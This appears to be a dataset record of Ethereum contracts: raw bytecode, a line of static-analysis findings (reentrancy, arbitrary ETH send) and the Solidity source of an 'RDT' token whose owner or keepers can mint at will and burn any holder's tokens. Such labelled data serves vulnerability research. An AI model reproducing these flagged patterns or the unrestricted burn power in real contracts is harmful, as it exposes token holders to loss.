f1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204082af893f2e30364b91eb538cfa7551df84104c8f6bf5572a0c7d15a40e844064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,053 |
0xe9f6eC9C5ac0a284d83ed71ae39abE261145EaAd
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
interface IERC20Token {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function mintTo(address to, uint256 amount) external returns (bool);
function burn(address account, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RDT is Context, IERC20Token, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private keeperMap;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool public stopped;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 4;
stopped = false;
}
modifier ownerOrKeeper(address addr) {
require((owner() == msg.sender) || isKeeper(addr), "caller is not the owner or keeper");
_;
}
function setKeeper(address addr) public ownerOrKeeper(msg.sender) {
keeperMap[addr] = true;
}
function removeKeeper(address addr) public ownerOrKeeper(msg.sender) {
keeperMap[addr] = false;
}
function isKeeper(address addr) public view returns (bool) {
require((owner() == msg.sender) || keeperMap[msg.sender], "caller is not the owner or keeper");
return keeperMap[addr];
}
modifier stoppable {
require(!stopped);
_;
}
function stop() public ownerOrKeeper(msg.sender) payable {
stopped = true;
}
function start() public ownerOrKeeper(msg.sender) payable {
stopped = false;
}
function mintTo(address to, uint256 amount) override public returns (bool) {
require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper");
_mint(to, amount);
return true;
}
function burn(address account, uint256 amount) override public returns (bool) {
require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper");
_burn(account, amount);
return true;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'transfer amount exceeds allowance')
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'decreased allowance below zero')
);
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'transfer from the zero address');
require(recipient != address(0), 'transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal stoppable {
require(account != address(0), 'mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'approve from the zero address');
require(spender != address(0), 'approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'burn amount exceeds allowance')
);
}
}
|
0x60806040526004361061014b5760003560e01c8063748747e6116100b6578063a0712d681161006f578063a0712d681461075c578063a457c2d7146107ad578063a9059cbb1461081e578063be9a65551461088f578063dd62ed3e14610899578063f2fde38b1461091e5761014b565b8063748747e61461055b57806375f12b21146105ac578063893d20e8146105d95780638da5cb5b1461061a57806395d89b411461065b5780639dc29fac146106eb5761014b565b8063313ce56711610108578063313ce567146103685780633950935114610396578063449a52f8146104075780636ba42aaa1461047857806370a08231146104df578063715018a6146105445761014b565b806306fdde031461015057806307da68f5146101e0578063095ea7b3146101ea57806314ae9f2e1461025b57806318160ddd146102ac57806323b872dd146102d7575b600080fd5b34801561015c57600080fd5b5061016561096f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e8610a11565b005b3480156101f657600080fd5b506102436004803603604081101561020d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610acb565b60405180821515815260200191505060405180910390f35b34801561026757600080fd5b506102aa6004803603602081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae9565b005b3480156102b857600080fd5b506102c1610be1565b6040518082815260200191505060405180910390f35b3480156102e357600080fd5b50610350600480360360608110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610beb565b60405180821515815260200191505060405180910390f35b34801561037457600080fd5b5061037d610cc4565b604051808260ff16815260200191505060405180910390f35b3480156103a257600080fd5b506103ef600480360360408110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cdb565b60405180821515815260200191505060405180910390f35b34801561041357600080fd5b506104606004803603604081101561042a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8e565b60405180821515815260200191505060405180910390f35b34801561048457600080fd5b506104c76004803603602081101561049b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3f565b60405180821515815260200191505060405180910390f35b3480156104eb57600080fd5b5061052e6004803603602081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b6040518082815260200191505060405180910390f35b34801561055057600080fd5b50610559610fbd565b005b34801561056757600080fd5b506105aa6004803603602081101561057e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611143565b005b3480156105b857600080fd5b506105c161123b565b60405180821515815260200191505060405180910390f35b3480156105e557600080fd5b506105ee61124e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062657600080fd5b5061062f61125d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066757600080fd5b50610670611286565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106b0578082015181840152602081019050610695565b50505050905090810190601f1680156106dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106f757600080fd5b506107446004803603604081101561070e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611328565b60405180821515815260200191505060405180910390f35b34801561076857600080fd5b506107956004803603602081101561077f57600080fd5b81019080803590602001909291905050506113d9565b60405180821515815260200191505060405180910390f35b3480156107b957600080fd5b50610806600480360360408110156107d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114bd565b60405180821515815260200191505060405180910390f35b34801561082a57600080fd5b506108776004803603604081101561084157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a7565b60405180821515815260200191505060405180910390f35b6108976115c5565b005b3480156108a557600080fd5b50610908600480360360408110156108bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b6040518082815260200191505060405180910390f35b34801561092a57600080fd5b5061096d6004803603602081101561094157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611706565b005b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a075780601f106109dc57610100808354040283529160200191610a07565b820191906000526020600020905b8154815290600101906020018083116109ea57829003601f168201915b5050505050905090565b333373ffffffffffffffffffffffffffffffffffffffff16610a3161125d565b73ffffffffffffffffffffffffffffffffffffffff161480610a585750610a5781610e3f565b5b610aad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b6001600760016101000a81548160ff02191690831515021790555050565b6000610adf610ad86117da565b84846117e2565b6001905092915050565b333373ffffffffffffffffffffffffffffffffffffffff16610b0961125d565b73ffffffffffffffffffffffffffffffffffffffff161480610b305750610b2f81610e3f565b5b610b85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600454905090565b6000610bf8848484611a13565b610cb984610c046117da565b610cb48560405180606001604052806021815260200161240c60219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6a6117da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d249092919063ffffffff16565b6117e2565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610d84610ce86117da565b84610d7f8560026000610cf96117da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de490919063ffffffff16565b6117e2565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16610daf61125d565b73ffffffffffffffffffffffffffffffffffffffff161480610dd65750610dd533610e3f565b5b610e2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b610e358383611e6c565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16610e6061125d565b73ffffffffffffffffffffffffffffffffffffffff161480610ecb5750600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fc56117da565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b333373ffffffffffffffffffffffffffffffffffffffff1661116361125d565b73ffffff